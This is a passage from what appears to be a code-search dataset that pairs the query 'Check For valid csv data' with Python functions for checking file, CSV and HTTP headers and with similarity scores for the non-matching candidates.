self.assertDictEqual(expected_response, real_response)\",\n \"def test_authorization_header_empty(self, _get_key_secret):\\n request = Request(self.environ)\\n request.authorization = \\\"bad authorization header\\\"\\n request.body = self.get_request_body()\\n response = self.xmodule.grade_handler(request, '')\\n real_response = self.get_response_values(response)\\n expected_response = {\\n 'action': None,\\n 'code_major': 'failure',\\n 'description': 'OAuth verification error: Malformed authorization header',\\n 'messageIdentifier': self.defaults['messageIdentifier'],\\n }\\n assert response.status_code == 200\\n self.assertDictEqual(expected_response, real_response)\",\n \"def testReadHeaderPass(self):\\n try:\\n archive = archive_parser.Archive(archive_parser.Archive.GLOBAL_SIG)\\n archive.Parse()\\n except ValueError:\\n self.fail('Archive reader read improperly.')\",\n \"def check_headers(df, filename):\\n print(\\\"Checking headers for: \\\" + filename)\\n read_message = \\\"\\\"\\n\\n original_colnames = df.columns.tolist()\\n # good_colnames = [\\\"Marker\\\",\\\"Chr\\\",\\\"Position\\\",\\\"Effect_allele\\\",\\\"Other_allele\\\",\\\"Beta\\\",\\\"SE\\\",\\\"Pval\\\",\\\"EAF\\\",\\\"N\\\",\\\"Imputed\\\",\\\"Info\\\",\\\"Information_type\\\"]\\n\\n # Before actually checking the contents header, are there even headers?\\n passed = False\\n for col in original_colnames:\\n if col.lower().strip() in [\\\"name\\\", \\\"snp\\\", \\\"snpid\\\", \\\"id\\\", \\\"markername\\\", \\\"marker\\\", \\\"rsid\\\"]:\\n passed = True\\n\\n # Fail the check if the name column is not found, this is to stop the checks if there is a file without a header\\n if not passed:\\n # First check whether this is one of the files of Malik, where the columns were missing\\n if filename.split('/')[-1].startswith('INTERSTROKE'):\\n # Add column names and moveverything down\\n first_data_row = df.columns.tolist()\\n df.loc[-1] = first_data_row # adding a row\\n df.index = df.index + 1 # shifting index\\n df = df.sort_index() # sorting by index\\n df.columns = [\\\"SNPID\\\", \\\"chr\\\", \\\"position\\\", \\\"coded_all\\\", \\\"noncoded_all\\\", \\\"strand_genome\\\", \\\"beta\\\", \\\"SE\\\", \\\"pval\\\", \\\"AF_coded_all\\\", \\\"n_cases\\\", \\\"n_controls\\\", \\\"imputed\\\", \\\"oevar_imp\\\"]\\n original_colnames = df.columns.tolist()\\n read_message = read_message + \\\"NAMECOLCHECK;CUSTOMCOLS\\\" \\n\\n elif filename.split('/')[-1].startswith('ASGC'):\\n # Add column names and moveverything down\\n first_data_row = df.columns.tolist()\\n df.loc[-1] = first_data_row # adding a row\\n df.index = df.index + 1 # shifting index\\n df = df.sort_index() # sorting by index\\n df.columns = [\\\"SNPID\\\", \\\"chr\\\", \\\"position\\\", \\\"n_cases\\\", \\\"n_controls\\\", \\\"coded_all\\\", \\\"noncoded_all\\\", \\\"AF_coded_all\\\", \\\"beta\\\", \\\"SE\\\", \\\"pval\\\", \\\"imputed\\\", \\\"info\\\"]\\n original_colnames = df.columns.tolist()\\n read_message = read_message + \\\"NAMECOLCHECK;CUSTOMCOLS\\\" \\n\\n else:\\n # print(\\\"Something went wrong for \\\" + filename)\\n # print(\\\"Please make sure there are headers in the file and that there is a name/id/marker column\\\")\\n return df, \\\"NAMECOLCHECK;FAILED\\\"\\n \\n # Variable to hold all unknown columns\\n unknown_cols = []\\n\\n # Loop over al colnames and rename it\\n for index,col in enumerate(original_colnames):\\n if col.lower().strip() in [\\\"name\\\", \\\"snp\\\", \\\"snpid\\\", \\\"id\\\", \\\"markername\\\", \\\"marker\\\", \\\"rsid\\\"]:\\n original_colnames[index] = \\\"Marker\\\"\\n\\n elif col.lower().strip() in [\\\"chromosome\\\", \\\"chr\\\", \\\"chrom\\\"]:\\n original_colnames[index] = \\\"Chr\\\"\\n\\n elif col.lower().strip() in [\\\"pos\\\", \\\"position\\\", \\\"bp\\\"]:\\n original_colnames[index] = \\\"Position\\\"\\n\\n elif col.lower().strip() in [\\\"effallele\\\", \\\"eff_allele\\\", \\\"effectallele\\\", \\\"effect_allele\\\", \\\"coded_all\\\", \\\"codedall\\\", \\\"allele1\\\"]:\\n original_colnames[index] = \\\"Effect_allele\\\"\\n\\n elif col.lower().strip() in [\\\"noneffallele\\\", \\\"noneff_allele\\\", \\\"noneffectallele\\\", \\\"noneffect_allele\\\", \\\"non_coded_all\\\", \\\"noncoded_all\\\", \\\"noncodedall\\\", \\\"other_allele\\\", \\\"otherallele\\\", \\\"allele2\\\"]:\\n original_colnames[index] = \\\"Other_allele\\\"\\n\\n elif col.lower().strip() in [\\\"beta\\\"]:\\n original_colnames[index] = \\\"Beta\\\"\\n\\n elif col.lower().strip() in [\\\"se\\\", \\\"sebeta\\\", \\\"stderr\\\"]:\\n original_colnames[index] = \\\"SE\\\"\\n\\n elif col.lower().strip() in [\\\"p\\\", \\\"pval\\\", \\\"p-value\\\"]:\\n original_colnames[index] = \\\"Pval\\\"\\n\\n elif col.lower().strip() in [\\\"eaf\\\", \\\"freq1\\\", \\\"af_coded_all\\\", \\\"effallelefreq\\\"]:\\n original_colnames[index] = \\\"EAF\\\"\\n\\n elif col.lower().strip() in [\\\"n\\\", \\\"ntot\\\", \\\"n_total\\\"]:\\n original_colnames[index] = \\\"N\\\"\\n\\n elif col.lower().strip() in [\\\"ncase\\\", \\\"ncases\\\", \\\"n_case\\\", \\\"n_cases\\\"]:\\n original_colnames[index] = \\\"N_cases\\\"\\n\\n elif col.lower().strip() in [\\\"ncontrol\\\", \\\"ncontrols\\\", \\\"n_control\\\", \\\"n_controls\\\"]:\\n original_colnames[index] = \\\"N_controls\\\"\\n\\n elif col.lower().strip() in [\\\"imputed\\\", \\\"imp\\\"]:\\n original_colnames[index] = \\\"Imputed\\\"\\n\\n elif col.lower().strip() in [\\\"inf\\\", \\\"info\\\", \\\"info_rsq\\\", \\\"rsqr\\\"]:\\n original_colnames[index] = \\\"Info\\\"\\n\\n elif col.lower().strip() in [\\\"inf_type\\\", \\\"information_type\\\"]:\\n original_colnames[index] = \\\"Information_type\\\"\\n\\n # Not neccesary for the toolkit, but reduce the error messages\\n elif col.lower().strip() in [\\\"strand\\\", \\\"strand_genome\\\"]:\\n original_colnames[index] = \\\"Strand\\\"\\n\\n elif col.lower().strip() in [\\\"oevar_imp\\\"]:\\n original_colnames[index] = \\\"oevar_imp\\\"\\n\\n elif col.lower().strip() in [\\\"pval.t\\\"]:\\n original_colnames[index] = \\\"pval.t\\\"\\n\\n elif col.lower().strip() in [\\\"df.t\\\"]:\\n original_colnames[index] = \\\"df.t\\\"\\n\\n elif col.lower().strip() in [\\\"approxdf\\\"]:\\n original_colnames[index] = \\\"approxdf\\\"\\n\\n elif col.lower().strip() in [\\\"or\\\"]:\\n original_colnames[index] = \\\"OR\\\"\\n\\n else:\\n # print(\\\"Could not match the string: \\\" + col)\\n # print(\\\"Please make sure this column is handled correctly in the toolkit\\\")\\n unknown_cols.append(col)\\n\\n # Change column names\\n df.columns = original_colnames\\n\\n # Write the unknown columns into the fail_reason variable\\n if len(unknown_cols) > 0:\\n read_message = read_message + \\\"NAMECOLCHECK;PASSED\\\" + \\\" UNRECOGNIZED;\\\" + ' '.join([str(elem) for elem in unknown_cols])\\n else:\\n read_message = read_message + \\\"NAMECOLCHECK;PASSED\\\"\\n\\n return df, read_message\",\n \"def getHeader():\\n return _HEADER\",\n \"def check_csv_headers(csvfile, headers):\\n\\n with open(csvfile, 'rb') as f:\\n csv_header = f.readline()\\n\\n # Check the lower ones\\n if headers[1][0] not in csv_header.lower():\\n return False\\n\\n return True\",\n \"def test_user_headers_sent_with_request(self):\\n user_header = {'All-Request-Headers': 'Headers from user code'}\\n req = self.httpbin.get_my_headers(headers=user_header, dry_run=True)\\n self.assertIn('All-Request-Headers', req.prepared_request.headers)\\n self.assertEqual(req.prepared_request.headers['All-Request-Headers'], user_header['All-Request-Headers'])\",\n \"def _handle_header(header):\\n\\n if header is None or header == \\\"\\\" or header == \\\"None\\\":\\n return None\\n elif header == \\\"False\\\":\\n return None\\n elif header == \\\"True\\\":\\n return 0\\n else:\\n try:\\n #check if header can be parsed to an int\\n result = int(header)\\n return result\\n except ValueError as v:\\n return None\\n return 0\",\n \"def _headercorrected(hdr):\\n # COM*** -> COMMENT\\n i = 1\\n while 'COM%03d' % i in hdr:\\n value = hdr['COM%03d' % i]\\n comment = hdr.cards['COM%03d' % i].comment\\n hdr['COMMENT'] = '[%s] %s' % (comment, value)\\n del hdr['COM%03d' % i]\\n i += 1\\n # HIST*** -> HISTORY\\n i = 1\\n while 'HIST%03d' % i in hdr:\\n value = hdr['HIST%03d' % i]\\n comment = hdr.cards['HIST%03d' % i].comment\\n hdr['HISTORY'] = '%s (%s)' % (value, comment)\\n del hdr['HIST%03d' % i]\\n i += 1\\n # ORIGIN -> FROM\\n if 'ORIGIN' in hdr.keys():\\n hdr.rename_keyword('ORIGIN', 'FROM')\\n if 'ORIGIN_V' in hdr.keys():\\n hdr.rename_keyword('ORIGIN_V', 'FROM_V')\\n # SOURCE_V -> FORMAT\\n if 'SOURCE_V' in hdr.keys():\\n hdr.rename_keyword('SOURCE_V', 'FORMAT')\\n # SRC_VERS -> SRC_V\\n if 'SRC_VERS' in hdr.keys():\\n hdr.rename_keyword('SRC_VERS', 'SRC_V')\",\n \"def check(header, out):\\r\\n for i in range(len(header)):\\r\\n if header[i] > 0:\\r\\n if header[i] != int(out[i]):\\r\\n return False\\r\\n return True\",\n \"def assert_has_valid_head(self, response, expected):\\r\\n assert 'head' in response\\r\\n head = response['head']\\r\\n assert isinstance(head, str)\\r\\n assert head == expected\",\n \"def is_header(fields):\\n if len(fields) < 11:\\n return None\\n # Test a column which should usually be a number in data lines and never a number in header lines.\\n try:\\n float(fields[8])\\n return False\\n except ValueError:\\n pass\\n first_field = fields[0]\\n # An explicitly commented line is a header.\\n if first_field.startswith('#'):\\n return True\\n # The first field in a header is usually these two (and never these in data lines).\\n if first_field.lower() == 'sample' or first_field.lower() == 'family':\\n return True\\n # Fallback 1: There should never be a number in a header line. If we find one, it's a data line.\\n for field in fields:\\n try:\\n float(field)\\n return False\\n except ValueError:\\n pass\\n # Fallback 2: Just test whether any of the known labels is in the line.\\n for label in LABELS:\\n if label in fields:\\n return True\\n for label in LABELS:\\n if label.lower() in fields:\\n return True\",\n \"def test_content_type_header_not_automatically_added(httpbin):\\n resp = requests.get(httpbin + \\\"/headers\\\").json()[\\\"headers\\\"]\\n assert \\\"Content-Type\\\" not in resp\",\n \"def test_drycc_version_header_good(self):\\n response = self.client.get('/v2/apps')\\n self.assertEqual(response.status_code, 200)\\n self.assertEqual(response.has_header('DRYCC_API_VERSION'), True)\\n self.assertEqual(response['DRYCC_API_VERSION'], __version__.rsplit('.', 1)[0])\",\n \"def is_header(file_name):\\n return str(file_name).endswith('.h')\",\n \"def process_headers(fin, fout, fixed_headers):\\n filtered_headers = set(item[0] for item in fixed_headers)\\n filtered_headers.add(\\\"SAMPLE\\\")\\n expected_values = {\\n name: value for name, asserted, value in fixed_headers if asserted\\n }\\n errors = False\\n for raw_line in fin:\\n if raw_line.startswith('##'):\\n # TODO: This will break if the metadata header is bad.\\n name, value = raw_line[2:].rstrip().split('=', 1)\\n if name in filtered_headers:\\n if name in expected_values:\\n if value != expected_values[name]:\\n errors = True\\n # TODO: propper logging\\n sys.stderr.write(\\n 'tcga-vcf-reheader: mismatch {}={}\\\\n'.format(\\n name, value\\n )\\n )\\n else: # Just some other header...\\n fout.write(raw_line)\\n else:\\n break\\n fout.write(raw_line) # raw_line should now be the data header line.\\n return errors\",\n \"def is_header(filename):\\n header_extensions = {'h'}\\n return os.path.splitext(filename)[1][1:] in header_extensions\",\n \"def is_htmx(request):\\n return 'Hx-Request' in request.headers\",\n \"def is_header_part(cell: str) -> bool:\\n pattern = '|'.join([\\n rf'(?:(?:three|3|six|6|nine|9|twelve|12)\\\\s+months?(?:\\\\s+periods?)?|quarters?|year|ytd)(?!ly)',\\n rf'\\\\b(?:{MONTH})\\\\b',\\n rf'^(?:end(?:ed|ing))?(?:20)\\\\s*[0-2]\\\\s*[0-9]{FOOTNOTE}$',\\n rf'^\\\\d{1, 2}/\\\\d{1, 2}/\\\\d{2, 4}{FOOTNOTE}$',\\n rf'^q[1-4](?:\\\\s*\\\\(\\\\w+\\\\))?{FOOTNOTE}$',\\n rf'^[1-4]q(?:tr)?(?:\\\\d{2, 4})?',\\n rf'as\\\\s+(?:reported|adjusted)',\\n rf'year-?\\\\s*to-?\\\\s*date',\\n rf'^year-$',\\n rf'^to-date$',\\n rf'full\\\\s+year',\\n rf'^(?:28|29|30|31){FOOTNOTE}$',\\n rf'^(?:month|quarter|year)s?{FOOTNOTE}$',\\n rf'^(?:three|six|nine|twelve){FOOTNOTE}$',\\n rf'^(?:operating|reported|baseline|percent|%|end(?:ed|ing)){FOOTNOTE}$',\\n ORDINAL,\\n rf'^(?:(?:20)\\\\s*[0-2]\\\\s*[0-9]\\\\*\\\\s*)?{UNAUDITED_EXACT}$'\\n ])\\n prepped = str(cell).lower().strip()\\n match = re.search(allow_space_between_letters(pattern), prepped)\\n return match is not None or parse_fiscal_period(cell) is not None\",\n \"def has_headers(self):\\n for column in self.columns:\\n if column.header:\\n return True\\n return False\",\n \"def is_same_header(self, block_header):\\n if len(self.variable_strings) > 0:\\n if len(self.variable_strings) != len(\\n block_header.variable_strings\\n ):\\n return False\\n else:\\n for sitem, oitem in zip(\\n self.variable_strings, block_header.variable_strings\\n ):\\n if sitem != oitem:\\n return False\\n return True\\n elif (\\n len(self.data_items) > 0 and len(block_header.variable_strings) > 0\\n ):\\n typ_obj = (\\n self.data_items[0].structure.data_item_structures[0].type_obj\\n )\\n if typ_obj == int or typ_obj == float:\\n return bool(\\n self.variable_strings[0]\\n == block_header.variable_strings[0]\\n )\\n else:\\n return True\\n elif len(self.data_items) == len(block_header.variable_strings):\\n return True\\n return False\",\n \"def is_header(line, max_level):\\n if max_level:\\n return len(re.findall(\\\"^#{{1,{0}}} .+\\\".format(max_level), line)) > 0\\n else:\\n return len(re.findall(\\\"^#+ .+\\\", line)) > 0\",\n \"def test_header_row(self):\\n header_row = self.view_class().header_row\\n if not header_row:\\n return\\n\\n response = self.view_class().get()\\n # Some formatting needs to be done so that the header row\\n # is compliant with the CSV dialect - all fields need\\n # to be quoted.\\n quoted_header_row = '\\\"{}\\\"'.format('\\\",\\\"'.join(header_row))\\n self.assertContains(response, quoted_header_row)\",\n \"def verify_raw_google_hash_header(google_hash: str) -> bool:\\n\\n return bool(re.match(r'(crc32c=[A-Za-z0-9+/=]+),(md5=[A-Za-z0-9+/=]+)', google_hash))\",\n \"def test_missing_header(barred_tac_list_importer, logger, db_conn):\\n expect_failure(barred_tac_list_importer, exc_message='Metadata header, cannot find the column headers - tac, '\\n '10000110')\",\n \"def validate_auth_header(headers):\\n if current_app.auth_db is None:\\n raise NoAuthenticationDatabaseException\\n\\n if \\\"Authorization\\\" not in headers:\\n raise NoAuthHeaderException\\n\\n auth_header = headers[\\\"Authorization\\\"].split(\\\" \\\")\\n\\n if len(auth_header) < 2 or auth_header[0] != \\\"Bearer\\\":\\n raise InvalidAuthHeaderException\\n\\n token = auth_header[1]\\n\\n decoded = current_app.authenticator.decode_token(token)\\n\\n g.client_data = decoded\\n\\n if datetime.datetime.utcnow() > decoded.expiration:\\n raise ExpiredTokenException\\n\\n database_token = current_app.auth_db.lookup_token(decoded.token_id)\\n\\n if database_token != decoded:\\n raise InvalidTokenException\\n\\n return decoded\",\n \"def missing_header_fields():\\n auth_token = get_auth_token()\\n\\n headers = '{\\\"Host\\\": \\\"$host\\\",\\\"Date\\\": \\\"DATE\\\",'\\n headers += '\\\"Accept-Encoding\\\": \\\"gzip\\\",'\\n headers += '\\\"X-Auth-Token\\\": \\\"$token\\\"}'\\n headers = string.Template(headers)\\n\\n return headers.substitute(host=CFG.host, token=auth_token)\",\n \"def _check_header_data(self, scan_data, min_rt=None, max_rt=None, ms_level=None, polarity=None):\\n \\n if min_rt is not None and scan_data['retention_time'] < min_rt:\\n return False\\n \\n if max_rt is not None and scan_data['retention_time'] > max_rt:\\n return False\\n \\n if ms_level is not None and scan_data['ms_level'] != ms_level:\\n return False\\n \\n if polarity is not None and scan_data['polarity'] != polarity:\\n return False\\n \\n return True\",\n \"def test_valid_header_no_message_added(self):\\n\\n node_mock = MagicMock()\\n node_mock.stream.return_value.__enter__.return_value.read.return_value.decode.return_value = self.EXPECTED_HEADER\\n with self.assertNoMessages():\\n self.checker.process_module(node_mock)\",\n \"def _check_type(self):\\n assert self.mapping == self.mapping_type, \\\\\\n \\\"Expected header mapping='{}' but got mapping='{}' in '{}'\\\".format(\\n self.mapping_type, self.mapping.upper(), self.filename)\",\n \"def header_offset_check(key):\\n return {\\n 'ver': UINT16,\\n 'm_len': UINT16,\\n 'seq_no': UINT32,\\n 'time': UINT32,\\n 'set_id': UINT16,\\n 'set_len': UINT16,\\n }.get(key, 0)\",\n \"def dnr_check(self, header):\\n try:\\n return self.locate.dnr_check(header)\\n except Exception:\\n return False\",\n \"def _check_headers(cursor, headers):\\n all_columns = set(chain.from_iterable(_columns(cursor, table) for table in DATA_TABLES))\\n for header in headers:\\n if header not in all_columns:\\n raise ValueError('column {} not recognized'.format(header))\",\n \"def is_valid_http_request(split_request_header: list) -> bool:\\n if len(split_request_header) < 3:\\n return False\\n if split_request_header[0] not in HttpServer.REQUESTS:\\n return False\\n if split_request_header[2] != \\\"HTTP/1.1\\\":\\n return False\\n if split_request_header[0] == \\\"PUT\\\" or split_request_header[0] == \\\"POST\\\":\\n # see if there aren't any directories preceding the file\\n occurrences = re.findall(\\\"/\\\", split_request_header[1])\\n if len(occurrences) > 1:\\n return False\\n\\n return True\\n\\n # return len(split_request_header) < 3 or \\\\\\n # split_request_header[0] not in HttpServer.REQUESTS or \\\\\\n # split_request_header[2] != \\\"HTTP/1.1\\\"\",\n \"def test_response_header(BASE_URL, COUNTRY_CODE):\\n # make request\\n result = requests.get(f'{BASE_URL}{COUNTRY_CODE}')\\n assert result.headers['Content-Type'] == 'application/json'\",\n \"def test_header(self):\\n header = mibheader(TEST_MIB)\\n\\n true_value = {\\n \\\"ID\\\": \\\"MQ1\\\",\\n \\\"seq_num\\\": 1,\\n \\\"offset\\\": 384,\\n \\\"nchips\\\": 1,\\n \\\"shape\\\": (256, 256),\\n \\\"dtype\\\": np.dtype(\\\">u2\\\"),\\n \\\"timestamp\\\": datetime(2018, 1, 19, 20, 55, 10, 966026).timestamp(),\\n }\\n\\n self.assertDictEqual(header, true_value)\",\n \"def test_check_header_match_180_or_later(self):\\r\\n # identical\\r\\n self.assertTrue(check_header_match_180_or_later(\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\\\",\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\\\"))\\r\\n # identical except read number\\r\\n self.assertTrue(check_header_match_180_or_later(\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\\\",\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 2:N:0:0\\\"))\\r\\n # identical except read number\\r\\n self.assertTrue(check_header_match_180_or_later(\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\\\",\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 3:N:0:0\\\"))\\r\\n # different reads\\r\\n self.assertFalse(check_header_match_180_or_later(\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\\\",\\r\\n \\\"M00176:17:000000000-A0CNA:1:1:16427:1774 1:N:0:0\\\"))\",\n \"def _check_duplicate_headers(self, docstring: PetscDocStringImpl) -> None:\\n for heading, where in self.seen_headers.items():\\n if len(where) <= 1:\\n continue\\n\\n lasti = len(where) - 1\\n src_list = []\\n nbefore = 2\\n nafter = 0\\n prev_line_begin = 0\\n for i, loc in enumerate(where):\\n startline = loc.start.line\\n if i:\\n nbefore = startline - prev_line_begin - 1\\n if i == lasti:\\n nafter = 2\\n src_list.append(loc.formatted(num_before_context=nbefore, num_after_context=nafter, trim=False))\\n prev_line_begin = startline\\n mess = \\\"Multiple '{}' subheadings. Much like Highlanders, there can only be one:\\\\n{}\\\".format(\\n self.transform(self.name), '\\\\n'.join(src_list)\\n )\\n docstring.add_diagnostic(\\n Diagnostic(Diagnostic.Kind.ERROR, self.diags.section_header_unique, mess, self.extent.start)\\n )\\n return\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.74777883","0.74777883","0.7314567","0.7220998","0.7158477","0.71231633","0.71042866","0.71036303","0.7052667","0.7031326","0.70234644","0.70112914","0.69430315","0.69109553","0.6900488","0.6896769","0.6890224","0.68511075","0.6850088","0.68461525","0.6801441","0.6792692","0.6711469","0.67059124","0.66611487","0.66595554","0.66207","0.6607181","0.65794444","0.657576","0.6538765","0.653227","0.6516002","0.6514522","0.64768904","0.64717835","0.6467212","0.64575696","0.64323974","0.6412491","0.6409026","0.63941675","0.638119","0.6373633","0.63578194","0.6351586","0.63298243","0.63203806","0.6299443","0.6292245","0.6290142","0.6280168","0.62621576","0.624849","0.6246915","0.62433493","0.6228937","0.6226656","0.62237567","0.62210566","0.62168616","0.6210655","0.6209385","0.619879","0.61912954","0.61715305","0.6164893","0.61589193","0.6154382","0.6146839","0.6137565","0.612059","0.6112199","0.61060107","0.6094966","0.6078255","0.60678357","0.60533345","0.60449404","0.60336727","0.6030927","0.6019234","0.6013746","0.60128456","0.600545","0.60038996","0.59955317","0.5993091","0.5991516","0.59911644","0.59887403","0.5986444","0.597964","0.5953937","0.59537035","0.59523237","0.5945775","0.5941583","0.5941401","0.5939648"],"string":"[\n \"0.74777883\",\n \"0.74777883\",\n \"0.7314567\",\n \"0.7220998\",\n \"0.7158477\",\n \"0.71231633\",\n \"0.71042866\",\n \"0.71036303\",\n \"0.7052667\",\n \"0.7031326\",\n \"0.70234644\",\n \"0.70112914\",\n \"0.69430315\",\n \"0.69109553\",\n \"0.6900488\",\n \"0.6896769\",\n \"0.6890224\",\n \"0.68511075\",\n \"0.6850088\",\n \"0.68461525\",\n \"0.6801441\",\n \"0.6792692\",\n \"0.6711469\",\n \"0.67059124\",\n \"0.66611487\",\n \"0.66595554\",\n \"0.66207\",\n \"0.6607181\",\n \"0.65794444\",\n \"0.657576\",\n \"0.6538765\",\n \"0.653227\",\n \"0.6516002\",\n \"0.6514522\",\n \"0.64768904\",\n \"0.64717835\",\n \"0.6467212\",\n \"0.64575696\",\n \"0.64323974\",\n \"0.6412491\",\n \"0.6409026\",\n \"0.63941675\",\n \"0.638119\",\n \"0.6373633\",\n \"0.63578194\",\n \"0.6351586\",\n \"0.63298243\",\n \"0.63203806\",\n \"0.6299443\",\n \"0.6292245\",\n \"0.6290142\",\n \"0.6280168\",\n \"0.62621576\",\n \"0.624849\",\n \"0.6246915\",\n \"0.62433493\",\n \"0.6228937\",\n \"0.6226656\",\n \"0.62237567\",\n \"0.62210566\",\n \"0.62168616\",\n \"0.6210655\",\n \"0.6209385\",\n \"0.619879\",\n \"0.61912954\",\n \"0.61715305\",\n \"0.6164893\",\n \"0.61589193\",\n \"0.6154382\",\n \"0.6146839\",\n \"0.6137565\",\n \"0.612059\",\n \"0.6112199\",\n \"0.61060107\",\n \"0.6094966\",\n \"0.6078255\",\n \"0.60678357\",\n \"0.60533345\",\n \"0.60449404\",\n \"0.60336727\",\n \"0.6030927\",\n \"0.6019234\",\n \"0.6013746\",\n \"0.60128456\",\n \"0.600545\",\n \"0.60038996\",\n \"0.59955317\",\n \"0.5993091\",\n \"0.5991516\",\n \"0.59911644\",\n \"0.59887403\",\n \"0.5986444\",\n \"0.597964\",\n \"0.5953937\",\n \"0.59537035\",\n \"0.59523237\",\n \"0.5945775\",\n \"0.5941583\",\n \"0.5941401\",\n \"0.5939648\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6272523"},"document_rank":{"kind":"string","value":"52"}}},{"rowIdx":14471,"cells":{"query":{"kind":"string","value":"Check For valid csv data"},"document":{"kind":"string","value":"def check_valid_csv_data(self, row):\n obj = re.match(re.compile('^[0-9]{4}\\,[A-Z]{1}[a-z]{2}\\,.'),\n ','.join(row))\n if not obj:\n raise Exception(\"Invalid Data String must be like `1990` `Jan` Check Sample file\")"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def check_valid_csvformat(self, csv_path):\n with open(self.csv_path, \"rb+\") as file_obj:\n reader = csv.reader(file_obj, delimiter=',') # CSV DictReader object\n self.check_valid_csv_header(reader.next())\n self.check_valid_csv_data(reader.next())","def validate_csv_seq(sequence):\n if sequence.find(',') != -1 or sequence.find(';') != -1:\n return True\n else:\n return False","def validate_csv(filename: str) -> bool:\n # From: https://stackoverflow.com/questions/2984888/check-if-file-has-a-csv-format-with-python\n try:\n with open(filename, newline='') as csvfile:\n start = csvfile.read(4096)\n\n # isprintable does not allow newlines, printable does not allow umlauts...\n if not all([c in string.printable or c.isprintable() for c in start]):\n return False\n dialect = csv.Sniffer().sniff(start)\n return True\n except csv.Error:\n # Could not get a csv dialect -> probably not a csv.\n return False\n except UnicodeError:\n return False","def validate_csv(filename, header, cols, rows):\n\n # open file\n data = pd.read_csv(filename, delimiter='|')\n\n # validate header\n assert header == '|'.join(list(data.columns.values))\n\n # validate column count\n assert data.shape[1] == cols\n\n # validate row count\n assert data.shape[0] == rows\n\n # return (header_result == column_result == row_result) is True","def test_schema_invalid_format(self):\n bad_schema = [int, int, float, float, str]\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad_schema)","def test_valid_csv(self):\n url=\"http://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\"\n readerobject=requester.url_to_csv(url, fname='wine2')\n self.assertTrue(str(type(readerobject)),\"_csv.reader\")","def check_valid_csv_header(self, row):\n obj = re.match(re.compile('^Year\\,Month\\,.'),\n ','.join(row))\n if not obj:\n raise Exception(\"Invalid Headers must be `Year` `Month` Check Sample file\")","def test_validate_file_extension_csv(self):\n data_contacts = open(self.test_dir + 'contacts.csv',\n encoding='utf-8')\n data_contacts_false = open(self.test_dir + 'mannheim_short.json',\n encoding='utf-8')\n a = validate_file_extension_csv(data_contacts)\n self.assertEqual(a, None)\n with self.assertRaises(ValidationError) as context:\n validate_file_extension_csv(data_contacts_false)\n data_contacts.close()\n data_contacts_false.close()\n self.assertTrue(\"Keine gültige CSV-Datei\" or \"No valid CSV file\" in\n str(context.exception))","def test_schema_invalid_type(self):\n bad_schema = -77\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad_schema)","def csv_parser_test():\n data = csv_parser(myspreadsheet)\n print 'Your data object:'\n pp = pprint.PrettyPrinter(indent=4)\n pp.pprint(data) \n # Did your parser work?\n for row_num, row in enumerate(data):\n try:\n assert len(row) == 3\n except AssertionError:\n print \"Row %s seems to be misparsed; its length is %s\" % (row_num, len(row))\n # Check on one of the values:\n try:\n assert data[4][2] == 'Linguist'\n except AssertionError:\n print \"Error: data[4][2] should equal 'Linguist'; actual value is %s\" % data[4][2]\n # Did you remember your int conversions?\n try:\n assert isinstance(data[0][0], int)\n except AssertionError:\n print \"Error: data[0][0] should be an int\"\n # Did you remember your float conversions?\n try:\n assert isinstance(data[6][1], float)\n except AssertionError:\n print \"Error: data[6][1] should be a float\"","def csv_parser_test():\r\n data = csv_parser(myspreadsheet)\r\n print('Your data object:')\r\n pp = pprint.PrettyPrinter(indent=4)\r\n pp.pprint(data) \r\n # Did your parser work?\r\n for row_num, row in enumerate(data):\r\n try:\r\n assert len(row) == 3\r\n except AssertionError:\r\n print ((\"Row %s seems to be misparsed; its length is %s\") % (row_num, len(row)))\r\n # Check on one of the values:\r\n try:\r\n assert data[4][2] == 'Linguist'\r\n except AssertionError:\r\n print ((\"Error: data[4][2] should equal 'Linguist'; actual value is %s\") % data[4][2])\r\n # Did you remember your int conversions?\r\n try:\r\n assert isinstance(data[0][0], int)\r\n except AssertionError:\r\n print (\"Error: data[0][0] should be an int\")\r\n # Did you remember your float conversions?\r\n try:\r\n assert isinstance(data[6][1], float)\r\n except AssertionError:\r\n print (\"Error: data[6][1] should be a float\")","def __is_csv(self):\n try:\n # just open to check if there is the file\n with open(self.__csv_file_name, 'r') as file:\n file.close()\n return True\n # if it do not exists the exception will returns false\n except IOError:\n return False","def open_convert_and_clean_csv(csv_data_file):\n imported_data = tablib.Dataset().load(open(csv_data_file).read())\n dataset = []\n for row in imported_data:\n if float(row[1]) > 0 and float(row[2]) > 0:\n dataset.append((row[0], float(row[1]), float(row[2])))\n return dataset","def test_invalid_header(self, tmpdir):\n path1 = tmpdir.join(\"invalid.csv\")\n path1.write(\"not,a,valid,header,row\")\n with pytest.raises(ValueError):\n parse_file(str(path1))\n\n path2 = tmpdir.join(\"valid.csv\")\n path2.write(\",\".join(HEADER_ROW))\n try:\n parse_file(str(path2))\n except ValueError:\n assert False, \"Unexpected ValueError\"","def test_csv_reader_data_contents(process_data):\n data = process_data(file_name_or_type='clean_map.csv')\n\n # Check row types\n for row in data:\n assert(isinstance(row['Country'], str))\n assert(isinstance(row['City'], str))\n assert(isinstance(row['State_Or_Province'], str))\n assert(isinstance(row['Lat'], float))\n assert(isinstance(row['Long'], float))\n assert(isinstance(row['Altitude'], float))\n\n # Basic data checks\n assert len(data) == 180 # We have collected 180 rows\n assert data[0]['Country'] == 'Andorra'\n assert data[106]['Country'] == 'Japan'","def _verify_csv_file_report(self, report_store, expected_data):\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\n report_path = report_store.path_to(self.course.id, 